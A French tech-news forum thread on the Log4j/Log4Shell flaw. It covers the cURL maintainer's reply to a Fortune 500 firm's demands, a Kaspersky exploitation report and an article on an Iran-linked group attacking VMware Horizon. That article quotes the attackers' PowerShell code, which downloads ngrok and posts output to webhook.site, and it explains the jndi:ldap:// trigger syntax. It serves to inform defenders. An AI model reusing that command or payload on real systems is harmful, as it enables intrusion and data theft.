Discussion :

[LAB3W]

Websites hacked today : 131,750 at 01H PM GMT+0

Websites hacked this year : 4,648,206 - 2022 / 01 / 21

Internet Live Stats

[Stéphane le calme]

Log4j : une entreprise du Fortune 500 exige des réponses rapides et gratuites du créateur de cURL,
qui leur a indiqué qu'il le ferait « dès que nous aurons signé un contrat de support »

Daniel Stenberg, le créateur de cURL, a reçu un courriel en provenance d'une entreprise appartenant au Fortune 500, le classement des 500 premières entreprises américaines classées selon l'importance de leur chiffre d'affaires. Ladite entreprise (ou ses clients) utilisait probablement cURL et, dans le contexte de la vulnérabilité dans la bibliothèque de journalisation Apache log4j, lui a posé une série de questions pour savoir entre autres si cURL s'appuyait sur log4j. « Si vous êtes une entreprise de plusieurs milliards de dollars et que vous êtes préoccupé par log4j, pourquoi ne pas simplement envoyer un e-mail aux auteurs OSS à qui vous n'avez jamais rien payé et exiger une réponse gratuite dans les 24 heures avec beaucoup d'informations ? » a-t-il demandé en présentant le courriel qu'il a reçu

Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.

Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap://est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.

Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.

La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».

La sévérité de la brèche est maximale 10 sur l’échelle CVSS.

Des correctifs ont été proposés mais, tour à tour, il a été découvert des faiblesses dans leurs réponses. Au total, les chercheurs ont découvert quatre vulnérabilités en prenant en considération les surfaces d'attaques laissées par trois correctifs proposés pour combler la même faille.

Le créateur de cURL interrogé

cURL (abréviation de client URL request library : « bibliothèque de requêtes aux URL pour les clients » ou see URL : littéralement « voir URL ») est une interface en ligne de commande, destinée à récupérer le contenu d'une ressource accessible par un réseau informatique. La ressource est désignée à l'aide d'une URL et doit être d'un type supporté par le logiciel. Le logiciel permet de créer ou modifier une ressource (contrairement à wget), il peut ainsi être utilisé en tant que client REST.

Le programme cURL implémente l'interface utilisateur et repose sur la bibliothèque logicielle libcurl, développée en langage C. Celle-ci est ainsi accessible aux développeurs qui veulent disposer des fonctionnalités d'accès au réseau dans leurs programmes. Des interfaces ont été créées dans de nombreux langages (C++, Java, .NET, Perl, PHP, Ruby...).

La bibliothèque supporte notamment les protocoles DICT, file, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, Telnet et TFTP.

Son créateur, Daniel Stenberg, a été contacté dans le contexte de la faille log4j par une entreprise disposant d'une capitalisation boursière lui permettant de figurer dans le Fortune 500. Dans un billet de blog, il a indiqué :

« Le vendredi 21 janvier 2022, j'ai reçu cet e-mail. J'ai tweeté à ce sujet et ça a décollé.

« L'e-mail provient d'une entreprise multimilliardaire figurant dans le Fortune 500 qui pourrait apparemment utiliser un produit contenant mon code, ou peut-être qu'ils ont des clients qui le font. Qui sait?

« Je suppose qu'ils le font pour des raisons de conformité et qu'ils ont "oublié" que leurs composants open source ne sont pas automatiquement fournis par des "partenaires" auxquels ils peuvent simplement demander ces informations.

« J'ai répondu très brièvement à l'e-mail et j'ai dit que je serais heureux de répondre avec des détails dès que nous aurons signé un contrat de support.

« Je pense que cela est peut-être un bon exemple de la pyramide open source et que les utilisateurs des couches supérieures ne pensent pas du tout à la façon dont les couches inférieures sont maintenues. Construire une maison sans se soucier du sol sur lequel se trouve la maison ».

Dans son tweet et dans son billet de blog, il supprime le nom de l'entreprise et en donne les raisons : « J'ai très probablement le droit de vous dire qui ils sont, mais je préfère quand même ne pas le faire. (Surtout si je parviens à décrocher un contrat commercial rentable avec eux.) Je pense que nous pouvons trouver ce niveau de droit dans de nombreuses entreprises ».

Et de continuer en ces termes :

« Le niveau d'ignorance et d'incompétence montré dans ce seul e-mail est ahurissant.

« Bien qu'ils ne disent même pas spécifiquement quel produit ils utilisent, aucun code avec lequel j'ai jamais été impliqué ou dont j'ai les droits d'auteur n'utilise log4j et n'importe quel débutant ou meilleur ingénieur pourrait facilement le vérifier.

« Dans la version image de l'e-mail, j'ai complété les champs de nom pour mieux anonymiser l'expéditeur, et dans le texte ci-dessous, je les ai remplacés par NNNN. (Et oui, il est très curieux qu'ils envoient des requêtes sur log4j maintenant, apparemment très tard.) »

Les courriels

Cher partenaire de l'équipe Haxx,

Vous recevez ce message car NNNN utilise un produit que vous avez développé. Nous vous demandons d'examiner et de répondre dans les 24 heures suivant la réception de cet e-mail. Si vous n'êtes pas la bonne personne, veuillez transmettre ce message au contact approprié.

Comme vous le savez peut-être déjà, une vulnérabilité zero-day récemment découverte affecte actuellement la bibliothèque de journalisation Java Apache Log4j à l'échelle mondiale, permettant potentiellement aux attaquants de prendre le contrôle total des serveurs concernés.

La sécurité et la protection des informations confidentielles de nos clients sont notre priorité absolue. En tant que partenaire clé au service de nos clients, nous devons comprendre vos plans de risque et d'atténuation de cette vulnérabilité.

Veuillez répondre aux questions suivantes en utilisant le modèle fourni ci-dessous.

1. Si vous utilisez une bibliothèque de journalisation Java pour l'une de vos applications, quelles versions de Log4j sont en cours d'exécution ?

2. Y a-t-il eu des incidents de sécurité confirmés dans votre entreprise ?

3. Si oui, quels applications, produits, services et versions associées sont impactés ?

4. Certains produits et services NNNN ont-ils été touchés ?

5. Les informations non publiques ou personnelles de NNNN ont-elles été affectées ?

6. Si oui, veuillez fournir immédiatement les détails des informations concernées NNNN.

7. Quel est le délai (MM/JJ/AA) pour terminer la correction ? Énumérez les étapes NNNN, y compris les dates pour chacune.

8. Quelle action est requise de la part de NNNN pour terminer cette correction ?

Dans un effort pour maintenir l'intégrité de cette enquête, nous vous demandons de ne pas partager les informations relatives à NNNN en dehors de votre entreprise et de réserver cette demande au personnel concerné uniquement.

Merci d'avance pour votre prompte attention à cette demande et votre partenariat !

Sincèrement,

Sécurité des informations NNNN

Les informations contenues dans ce message peuvent être CONFIDENTIELLES et sont destinées uniquement au destinataire prévu. Toute utilisation non autorisée, diffusion des informations ou copie de ce message est interdite. Si vous n'êtes pas le destinataire prévu, veuillez en informer immédiatement l'expéditeur et supprimer ce message.

Le 24 janvier, le père de cURL a reçu cette réponse, de la même adresse et elle cite sa réponse :

Salut David,

Merci pour votre réponse. Êtes-vous en train de dire que nous ne sommes pas un client de votre organisation ?

/ [prénom de la personne qui s'adresse à David]

Le père de cURL a de nouveau répondu (22h29 CET le 24 janvier) à ce courriel qui l'identifiait comme étant "David". Etant donné qu'il y a une histoire à propos d'un David qui a affronté le géant Goliath, il n'a pas pu s'empêcher d'en faire une blague :

Salut Goliath,

Non, vous n'avez aucun contrat établi avec moi ou toute autre personne chez Haxx à qui vous avez adressé cet e-mail, demandant beaucoup d'informations. Vous n'êtes pas notre client, nous ne sommes pas votre client. De plus, vous n'avez pas précisé de quel produit il s'agissait.

Ainsi, nous pouvons soit établir une telle relation, soit vous êtes libre de chercher vous-même des réponses à vos questions.

Je ne peux que présumer que vous avez intégré notre adresse e-mail et nos coordonnées dans vos systèmes, car nous produisons de nombreux logiciels open source largement utilisés.

Meilleurs vœux,
Daniel

Source : Daniel Stenberg (billet de blog, Tweet)

Et vous ?

Que pensez-vous de la démarche de l'entreprise du Fortune 500 ?
Que pensez-vous de la réponse de David Stenberg ?

Voir aussi :

GitHub restaure le compte du dev qui a intentionnellement corrompu ses bibliothèques, certains développeurs estiment que la suspension était déraisonnable puisqu'il s'agissait de son propre code
Log4j : la directrice du CISA s'attend à des retombées de la faille qui vont s'étendre sur des années et servir à des intrusions futures dans les systèmes des entreprises

[walfrat]

Personnellement je demande a voir la fin de l'histoire avant de basher la société.

Le premier mail de la société peut paraître agressif et stupide mais ça peut ni plus ni moins venir de personnes qui font ce genre de mail aussi bien à des sociétés privés sous contrat qu'a des gens du monde open source sans contrat, car ils ignorent la différence.

En outre le second mail de la société me paraît être un signe qu'ils sont pas si mal tombé.

[tabouret]

Quelqu'un peut m'expliquer le lien entre Curl et Log4j?

Sinon on peut aussi demander à Nespresso s'il sont sensibles à Log4j dans la foulée.

[dolu02]

Personnellement je demande a voir la fin de l'histoire avant de basher la société.

Le premier mail de la société peut paraître agressif et stupide mais ça peut ni plus ni moins venir de personnes qui font ce genre de mail aussi bien à des sociétés privés sous contrat qu'a des gens du monde open source sans contrat, car ils ignorent la différence.

En outre le second mail de la société me paraît être un signe qu'ils sont pas si mal tombé.

C'est justement ce qui leur est reproché, d'être ignorants. S'ils ont des IT en interne (on peut le supposer pour une telle entreprise), pourquoi ne pas leur demander ce qu'il faut faire?

[vanquish]

Je suis dans le gratuit (pas l'open source) et je suis régulièrement confronté au problème.
C'est toujours un peu désagréable mais très compréhensible.
Déjà généralement votre interlocuteur est dans la structure depuis 3 ans, alors que le produit est là depuis 15.
Il sait que c'est là, mais n'a aucune idée du modèle économique, parce que ce n'est pas son boulot et qu'il a 150 autres sous-système qu'il ne fait que superviser.

Et en vrai, c'est rarement une question d'argent.
Quand on lui explique que c'est gratuit, ça lui pose souvent un problème, car gratuit cela veux dire pas de contrat et donc personne sur qui rejeter la responsabilité en cas de problème.
Il en a, rétrospectivement, des sueurs froides.
Certains utilisateurs qui pourraient avoir le produit gratuitement préfère payer pour avoir un lien contractuel.

[walfrat]

C'est justement ce qui leur est reproché, d'être ignorants. S'ils ont des IT en interne (on peut le supposer pour une telle entreprise), pourquoi ne pas leur demander ce qu'il faut faire?

Et en quoi les gens de l'IT sont forcément qualifiés pour parler des aspects juridiques et contractuels ? Perso si on me demande de faire du juridique sur le monde open source et ces licences, je préfère botter en touche.

Quelqu'un de l'IT pourra te dire qu'il peut passé du temps à chercher les infos, mais son temps c'est des coûts à la société. De plus, la société peut vouloir préféré une réponse formelle des auteurs des logiciels, approche parfaitement légitime d'un point de vue tant sécurité que juridique.

En IT on a tendance à beaucoup cultiver l'art de la débrouille en mode "ça finira par passer". Mais c'est aussi pour ça qu'on a de vrais passoires en termes de sécurité ou de législation (protection des données par exemple). L'art de la débrouille, devant des professionnels de la sécurité mais aussi des juristes, je ne pense pas que ça passe.

[AoCannaille]

Le premier mail ressemble a un mail générique prévu pour une mailing liste trés générique.

ça ne m'étonnerait vraiment pas qu'un gars ait fait un grep de toutes les adresses mails de contact de toutes les licences inclus dans leurs produits pour faire un audit bien bourrin. C'est tout à leur honneur même si plus de tact eu été appréciables pour ce mainteneur open source.

En soit, la réponse "Déso, on a pas de contrat, je vous répond pas" est selon moi la meilleure à avoir, et semble bien être compris dans le 2e mail. Je suis persuadé que la situation va évoluer dans le bon sens si tout le monde reste courtois.

Au final c'est un non-événement...

[gabriel21]

Le mail ressemble beaucoup à des mails que je peux voir passé en interne ou du client quand le service SSI panique et comme il savent pas où ils habitent, ni ce que font les administrateurs et les développeurs, ils leurs posent la totalité des questions que le RSSI ou tout autre directeur leur a posé.
L'affaire est cocasse, surtout la réponse... Ah bon, vous ne travaillez pas pour nous...
Il s'agit là plus d'une incompétence personnel que d'une société, même si l'ultra procéduralisation et les équipes aux périmètres restreints et hermétiques peuvent être la cause profonde de ce genre de situation.
J'ai par exemple eu le cas d'une demande pour savoir si on avait bien patché une vulnérabilité noyau Windows sur nos serveurs applicatifs qui tournaient sur RHEL et AIX....
Des perles de ce type, j'en vois malheureusement très souvent.

[marsupial]

Disons qu'il s'agit d'une entreprise qui fait une crise salutaire de parano dans le contexte cybersécuritaire actuel où la Maison Blanche a donné l'ordre à l'administration de bien vérifier la chaîne d'approvisionnement. A mon avis cette organisation a du faire la même demande à tous ses fournisseurs IT. Pour moi, il s'agit d'une démarche allant dans le bon sens. Le dialogue ne doit pas être rompu entre les deux parties évoquées pour déboucher sur une solution amiable. En tout cas, j'ai souri tant à la nouvelle qu'à certain commentaires.

[Invité]

Pour ceux qui travaillent ou ont eu l'occasion de travailler dans une multinationale (puisque c'est de ce type d'organisation qu'il s'agit manifestement), vous reconnaîtrez assez facilement le style (bourrin) du courriel, qui n'est pas l’œuvre d'un développeur, mais plutôt d'un cadre. Typiquement un chef de projet mis au pied du mur par sa hiérarchie. Sauf qui peut.

[Exagone313]

Toutes les licences de logiciel libre contiennent une clause qui spécifie que le logiciel vient sans garanti, donc, dans les limites de la loi, il n'y a aucune obligation de rendre des comptes en cas de faille de sécurité. Ensuite vient le problème de quel loi s'applique, d'autant plus quand l'auteur du logiciel libre n'a aucun marché dans le pays cible de l'entreprise utilisant ce logiciel.

[TotoParis]

Ce n'est pas un non évènement comme l'a écrit un mec ici. Le ton arrogant et brutal de cette énorme boite est tout simplement à vomir
Sans omettre qu'il avaient l'air de bien être à l'Ouest en plus.

[chrtophe]

Malheureusement ça devient la norme.

[AoCannaille]

Le ton arrogant et brutal de cette énorme boite est tout simplement à vomir .

Le ton n'est pas arrogant, le mail est lisse, factuel et surtout impersonnel. En un mot : Une communication Professionnelle. Si tu trouve ce mail arrongant, j'espère que tu ne travaille pas dans des grosses boites car c'est tout simplement la seule méthode qu'ils ont pour communiquer par écrit.

Sans omettre qu'il avaient l'air de bien être à l'Ouest en plus.

A la rigueur c'est ça qui casse tout. Mais ça aussi c'est courant, une forme impeccable pour cacher qu'on pêche sur le fond... Faut juste pas prendre ça pour soi.

[valtena]

Le ton n'est pas arrogant, le mail est lisse, factuel et surtout impersonnel. En un mot : Une communication Professionnelle. Si tu trouve ce mail arrongant, j'espère que tu ne travaille pas dans des grosses boites car c'est tout simplement la seule méthode qu'ils ont pour communiquer par écrit.

Le mail arrive avec pas mal d'impératif. Quand tu lis la tournure du mail la réponse est due. C'est assez arrogant en dehors d'un lien de subordination. Qu'il soit lissé et automatisé n'enlève rien à la chose.

[AoCannaille]

Le mail arrive avec pas mal d'impératif. Quand tu lis la tournure du mail la réponse est due. C'est assez arrogant en dehors d'un lien de subordination. Qu'il soit lissé et automatisé n'enlève rien à la chose.

Mouais... En Anglais ça passe crème... La seule phrase un peu injonctive c'est "We request you review and respond within 24 hours of receiving this email." Tout le reste est vraiment plat...

Si j'étais dans la même situation que le monsieur, je pense que je ne me serais pas senti concerné et n'aurais sans doute pas pris la peine de répondre.

[Sandra Coret]

L'exploitation de Log4Shell se poursuit : plus de 30 000 scans signalés en janvier, la vulnérabilité continue de représenter une vaste menace pour les utilisateurs malgré le correctif publié par la Fondation Apache

Découverte en décembre 2021, Log4Shell est rapidement devenue tristement célèbre comme étant la vulnérabilité de l'année. Bien que la Fondation Apache ait publié un correctif pour cette CVE peu après sa découverte, cette vulnérabilité continue de représenter une vaste menace pour les particuliers et les organisations.

D’ailleurs, au cours des trois premières semaines de janvier, les produits Kaspersky ont bloqué 30 562 tentatives d'attaques contre des utilisateurs à l'aide d'exploits ciblant la vulnérabilité Log4Shell.

Cette vulnérabilité est extrêmement intéressante pour les cybercriminels car elle leur permet de prendre le contrôle total du système de la victime et est facile à exploiter.

Depuis qu'elle a été signalée pour la première fois, les produits Kaspersky ont détecté et empêché 154 098 tentatives de scan et d'attaque de terminaux exploitant la vulnérabilité Log4Shell. La plupart des systèmes attaqués étaient situés en Russie (13%), au Brésil (8,97%), aux Etats-Unis (7,36%). La France est à la 5e place (3,94%).

Bien que la Fondation Apache ait déjà publié un correctif pour cette CVE, il faut des semaines voire des mois aux fournisseurs pour mettre à jour leurs logiciels. Sans surprise, les experts de Kaspersky ont observé que les attaquants malveillants poursuivent leurs scans à grande échelle pour exploiter Log4Shell. Au cours des trois premières semaines de janvier, les produits Kaspersky ont bloqué 30 562 tentatives d'attaques contre des utilisateurs à l'aide d'exploits ciblant la vulnérabilité Log4Shell. En outre, près de 40 % de ces tentatives ont été détectées dans les cinq premiers jours du mois, du 1er au 5 janvier.

Evgeny Lopatin, expert sécurité Kaspersky, explique : « Nous constatons que les analyses et les tentatives d'attaques utilisant Log4Shell sont beaucoup moins nombreuses qu'au cours des premières semaines suivant sa découverte. Pourtant, les tentatives d'exploitation de cette vulnérabilité devraient se poursuivre. Comme le montre notre télémétrie, les cybercriminels poursuivent leurs activités d'analyse de masse et tentent de capitaliser sur le code exploitable. Cette vulnérabilité est exploitée à la fois par des acteurs de la menace avancée qui ciblent des organisations spécifiques ainsi que par des opportunistes qui cherchent tout simplement des systèmes vulnérables à attaquer. Nous demandons instamment à tous ceux qui ne l'ont pas encore fait de se mettre à jour et d'utiliser une solution de sécurité forte pour se protéger. »

Les produits Kaspersky protègent contre les attaques exploitant les vulnérabilités, y compris l'utilisation de PoCs sous les noms suivants :

- UMIDS:Intrusion.Generic.CVE-2021-44228.
- PDM:Exploit.Win32.Generic.

Pour se prémunir contre cette nouvelle vulnérabilité, les experts de Kaspersky recommandent :

• D'installer la version la plus récente de la bibliothèque. Vous pouvez la télécharger sur la page du projet. Si vous utilisez la bibliothèque d'un produit tiers, vous devrez surveiller et installer les mises à jour opportunes d'un fournisseur de logiciels.
  
  
• De suivre les directives du projet Apache Log4j
  
  
• L’utilisation par les entreprises d’une solution de sécurité qui fournit des composants de prévention de l'exploitation des vulnérabilités et de gestion des correctifs, comme Kaspersky Endpoint Security for Business. Le composant Automatic Exploit Prevention de Kaspersky surveille également les actions suspectes sur les applications et bloque les exécutions de fichiers malveillants.
  
  
• L’utilisation de solutions telles que Kaspersky Endpoint Detection and Response et Kaspersky Managed Detection and Response , qui permettent d'identifier et de stopper les attaques à un stade précoce, avant que les attaquants ne puissent atteindre leur objectif final.

A propos de Kaspersky

Kaspersky est une société internationale de cybersécurité et de protection de la vie privée numérique fondée en 1997. L’expertise de Kaspersky en matière de « Threat Intelligence » et sécurité informatique vient constamment enrichir la création de solutions et de services de sécurité pour protéger les entreprises, les infrastructures critiques, les autorités publiques et les particuliers à travers le monde.

Source : Kaspersky

Et vous ?

Qu'en pensez-vous ?
Votre entreprise est-elle victime de l'exploitation de cette vulnérabilité ?
Quelles sont les dispositions prises pour s'en prémunir ?

Voir aussi :

Plus de 35 000 packages Java impactés par les vulnérabilités Log4j, selon un rapport de l'équipe open source de Google

Jamais deux sans trois : Apache révèle un autre bogue dans la bibliothèque de journalisation Log4J, le troisième correctif majeur en dix jours est une faille de récursivité infinie

Une quatrième vulnérabilité découverte dans la bibliothèque de journalisation Log4J, les utilisateurs sont conviés à passer à la version 2.17.1

[thamn]

[B][SIZE=4]
Pour se prémunir contre cette nouvelle vulnérabilité, les experts de Kaspersky recommandent :

• D'installer la version la plus récente de la bibliothèque. Vous pouvez la télécharger sur la page du projet. Si vous utilisez la bibliothèque d'un produit tiers, vous devrez surveiller et installer les mises à jour opportunes d'un fournisseur de logiciels.

Au oui oui oui en effet c'est une bonne recommandation, merci les gars hein

[Stéphane le calme]

Log4shell : les serveurs VMware Horizon seraient activement exploités par des hackers affiliés à l'Iran,
le groupe TunnelVision exploite la faille critique sur Log4j pour attaquer des cibles au ransomware

SentinelLabs a suivi l'activité d'un acteur malveillant affilié à l'Iran opérant au Moyen-Orient et aux États-Unis. En raison de la forte dépendance de l'acteur malveillant aux outils de tunnellisation, ainsi que de la manière unique dont il choisit de les déployer largement, l'équipe suit ce groupe d'activités sous le nom de TunnelVision. Tout comme d'autres acteurs malveillants iraniens opérant dans la région ces derniers temps, les activités de TunnelVision étaient liées au déploiement de rançongiciels, faisant du groupe un acteur potentiellement destructeur.

Des hackers qui seraient affiliés au gouvernement iranien exploitent la vulnérabilité critique Log4j pour attaquer au ransomware les utilisateurs de VMware utilisant des versions non corrigés, ont déclaré jeudi des chercheurs.

La société de sécurité SentinelOne a baptisé le groupe TunnelVision. Le nom est destiné à souligner la forte dépendance de TunnelVision vis-à-vis des outils de tunnellisation et la manière unique dont il les déploie. Dans le passé, TunnelVision a exploité les vulnérabilités dites 0-day pour pirater les organisations. Les vulnérabilités dans Fortinet FortiOS (CVE-2018-13379) et Microsoft Exchange (ProxyShell) sont deux des cibles les plus connues du groupe.

Pour mémoire, une vulnérabilité zero-day ou 0-day (en anglais zero-day vulnerability) désigne une faille de sécurité informatique dont l'éditeur du logiciel ou le fournisseur de service n'a pas encore connaissance, ou qui n'a pas encore reçu de correctif. Par extension, on parle d'exploitation zero-day (zero-day exploit) lorsque ce type de faille est utilisé par des cyberdélinquants pour lancer des attaques contre des installations vulnérables.

Vient alors Log4Shell

Récemment, a rapporté SentinelOne, TunnelVision a commencé à exploiter une vulnérabilité critique dans Log4j, un utilitaire de journalisation open source intégré à des milliers d'applications. CVE-2021-44228 (ou Log4Shell, comme la vulnérabilité est surnommée) permet aux attaquants de prendre facilement le contrôle à distance des ordinateurs exécutant des applications dans le langage de programmation Java.

La recherche SentinelOne montre qu'une campagne exploitant cette faille est lancée et cible es organisations exécutant VMware Horizon, un produit de virtualisation de postes de travail et d'applications qui s'exécute sous Windows, macOS et Linux.

Exploitation de VMware Horizon

L'exploitation de Log4j dans VMware Horizon se caractérise par un processus malveillant généré à partir du service Tomcat du produit VMware (C:\Program Files\VMware\VMware View\Server\bin\ws_TomcatService.exe).

Les attaquants de TunnelVision exploitent activement la vulnérabilité pour exécuter des commandes PowerShell malveillantes, déployer des portes dérobées, créer des utilisateurs de porte dérobée, collecter des informations d'identification et effectuer des mouvements latéraux.

En règle générale, l'auteur malveillant exploite initialement la vulnérabilité Log4j pour exécuter directement des commandes PowerShell, puis exécute d'autres commandes au moyen de shells inversés PS, exécutés via le processus Tomcat.

Apache Tomcat est un serveur Web open source que VMware et d'autres logiciels d'entreprise utilisent pour déployer et servir des applications Web basées sur Java. Une fois installé, un shell permet aux hackers d'exécuter à distance les commandes de leur choix sur les réseaux exploités. Une fois installé, les membres de TunnelVision l'utilisent pour :

• Exécuter les commandes de reconnaissance
• Créer un utilisateur de porte dérobée et l'ajouter au groupe d'administrateurs réseau
• Collecter les informations d'identification à l'aide de ProcDump, de comsvcs MiniDump ou d'un hive dump de SAM (Security Account Manager ou gestionnaire des comptes de sécurité). SAM est la base de données des comptes locaux sur Windows Server 2003, Windows XP, Windows 2000. C'est l'un des composants de la base de registre. Elle contient les mots de passe locaux. et de comsvcs MiniDump
• Télécharger et exécuter des outils de tunnellisation, y compris Plink et Ngrok, qui sont utilisés pour tunnelliser le trafic du protocole de bureau à distance

Commandes PowerShell

Les opérateurs de TunnelVision ont exploité la vulnérabilité Log4j dans VMware Horizon pour exécuter des commandes PowerShell, renvoyant les sorties à l'aide d'un webhook. Dans cet exemple, l'auteur malveillant a tenté de télécharger ngrok sur un serveur VMware Horizon compromis*:

Code Powershell :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
try{
    (New-Object System.Net.WebClient).DownloadFile("hxxp://transfer.sh/uSeOFn/ngrok.exe","C:\\Users\Public\public.exe");
    Rename-Item 'c://Users//public//new.txt' 'microsoft.exe';
    $a=iex 'dir "c://Users//public//"' | Out-String;
    iwr -method post -body $a https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}catch{
    iwr -method post -body $Error[0] https://webhook.site/{RANDOM-GUID} -UseBasicParsing;
}

Tout au long de l'activité, l'utilisation de plusieurs services légitimes a été observée. Étant donné qu'un environnement est compromis par TunnelVision, il peut être utile de rechercher des connexions sortantes vers l'un de ces services publics légitimes*:

• transfert.sh
• pastebin.com
• webhook.site
• ufile.io
• raw.githubusercontent.com

VMware corrige les vulnérabilités critiques invité-hôte

Dans un avis cette semaine, VMware a alerté les utilisateurs des vulnérabilités invité-hôte dans les contrôleurs USB XHCI et UHCI de son hyperviseur ESXi, ainsi que d'une faille importante corrigée dans NSX Data Center for vSphere.

Au total, cinq vulnérabilités ont été découvertes dans ESXi, Workstation, Cloud Foundation (ESXi) et Fusion de VMware lors de la Tianfu Cup 2021, une compétition de hacking similaire à Pwn2Own et qui se déroule en Chine, par le Kunlun Lab du pays. Les bogues découverts par Kunlun ont été divulgués en privé à VMware – bien que l'année dernière, la Chine ait adopté une nouvelle loi ordonnant aux chercheurs en sécurité de révéler leurs découvertes au ministère de la Sécurité publique du pays au moins deux jours avant tout le monde.

Le vendeur a déclaré qu'il n'avait vu aucune preuve que les conclusions du concours avaient été exploitées par des hackers. Des correctifs ont été publiés, c'est maintenant aux administrateurs de les implémenter. Les vulnérabilités vont des failles use-after-free() et double-fetch qui peuvent être exploitées pour exécuter du code sur l'hôte, à un déni de service (DoS) à l'ancienne. La liste complète pour ESXi, Workstation, Cloud Foundation et Fusion est*:

• CVE-2021-22040, Vulnérabilité Use-after-free() dans le contrôleur USB XHCI
• CVE-2021-22041, Vulnérabilité de double extraction dans le contrôleur USB UHCI
• CVE-2021-22042, vulnérabilité d'accès non autorisé aux paramètres ESXi
• CVE-2021-22043, paramètres ESXi et vulnérabilité TOCTOU
• CVE-2021-22050, vulnérabilité de déni de service HTTP POST lente d'ESXi (découverte par SolidLab en Russie)

« Les vulnérabilités individuelles documentées sur cette VMSA (VMware Security Advisory) ont une gravité importante/modérée, mais la combinaison de ces problèmes peut entraîner une gravité plus élevée, d'où la gravité de cette VMSA est au niveau de gravité critique », a déclaré VMware.

Les bogues des contrôleurs USB XHCI et UHCI peuvent être exploités par une personne malveillante disposant de privilèges administratifs dans une machine virtuelle pour exécuter du code en tant que processus VMX de la machine virtuelle exécuté sur l'hôte. Si les lecteurs ont un sentiment de déjà-vu à ce sujet, c'est parce qu'une vulnérabilité décrite de manière presque identique a été signalée en 2020 et suivie sous le nom de CVE-2020-4004.

VMware a noté*: « En bref, les correctifs VMware ESXi, Workstation et Fusion sont les méthodes les plus rapides pour résoudre ces problèmes. Il existe également une solution de contournement*: supprimer les contrôleurs USB des machines virtuelles, bien que cela puisse être irréalisable à grande échelle et n'élimine pas le une menace potentielle comme le font les correctifs ».

Ainsi, si vous avez des machines virtuelles avec ces contrôleurs USB déjà retirés, vous pouvez pousser un petit soupir de soulagement.

Pendant ce temps, les failles de settingsd peuvent être exploitées pour écrire dans des fichiers arbitraires ou accéder au service en tant qu'utilisateur disposant de privilèges plus élevés. La faille NSX peut être exploitée par un utilisateur disposant d'un accès SSH à un équipement NSX-Edge pour exécuter des commandes en tant que root. Ceci est également présent dans Cloud Foundation (NSX-V).

Historique de la faille affectant Log4J

Le 9 décembre, une vulnérabilité a été découverte dans la bibliothèque de journalisation Apache log4j. Cette bibliothèque est très souvent utilisée dans les projets de développement d'application Java/J2EE ainsi que par les éditeurs de solutions logicielles sur étagère basées sur Java/J2EE.

Log4j inclut un mécanisme de recherche qui pourrait être utilisé pour effectuer des requêtes via une syntaxe spéciale dans une chaîne de format. Par exemple, il peut être utilisé pour demander divers paramètres comme la version de l'environnement Java via ${java:version}, etc. Ensuite, en spécifiant la clé jndi dans la chaîne, le mécanisme de recherche utilise l'API JNDI. Par défaut, toutes les requêtes sont effectuées en utilisant le préfixe java:comp/env/*; cependant, les auteurs ont implémenté l'option d'utiliser un préfixe personnalisé au moyen d'un symbole deux-points dans la clé. C'est là que réside la vulnérabilité : si jndi:ldap:// est utilisé comme clé, la requête va au serveur LDAP spécifié. D'autres protocoles de communication, tels que LDAPS, DNS et RMI, peuvent également être utilisés.

Ainsi, un serveur distant contrôlé par un attaquant pourrait renvoyer un objet à un serveur vulnérable, entraînant potentiellement l'exécution de code arbitraire dans le système ou la fuite de données confidentielles. Tout ce qu'un attaquant doit faire est d'envoyer une chaîne spéciale via le mécanisme qui écrit cette chaîne dans un fichier journal et est donc gérée par la bibliothèque Log4j. Cela peut être fait avec de simples requêtes HTTP, par exemple, celles envoyées via des formulaires Web, des champs de données, etc., ou avec tout autre type d'interactions utilisant la journalisation côté serveur.

La vulnérabilité a été caractérisé par Tenable comme « la vulnérabilité la plus importante et la plus critique de la dernière décennie ».

Les membres de l’Apache Software Fondation ont développé un patch en catastrophe pour corriger la vulnérabilité, la version 2.15.0. Des contournements sont également possibles pour réduire les risques.

Mais les chercheurs ont signalé qu'il existe au moins deux vulnérabilités dans le correctif, publié sous le nom de Log4J 2.15.0, et que les attaquants exploitent activement l'une d'entre elles ou les deux contre des cibles du monde réel qui ont déjà appliqué la mise à jour. Les chercheurs ont exhorté les organisations à installer un nouveau correctif, publié en tant que version 2.16.0, dès que possible pour corriger la vulnérabilité, qui est suivie comme CVE-2021-45046.

Le correctif précédent, ont déclaré les chercheurs, « était incomplet dans certaines configurations autres que celles par défaut » et permettait aux attaquants d'effectuer des attaques par déni de service, ce qui facilite généralement la mise hors ligne des services vulnérables jusqu'à ce que les victimes redémarrent leur serveurs ou prennent d'autres mesures. La version 2.16.0 « résout ce problème en supprimant la prise en charge des modèles de recherche de messages et en désactivant la fonctionnalité JNDI par défaut », selon l'avis de vulnérabilité lié ci-dessus.

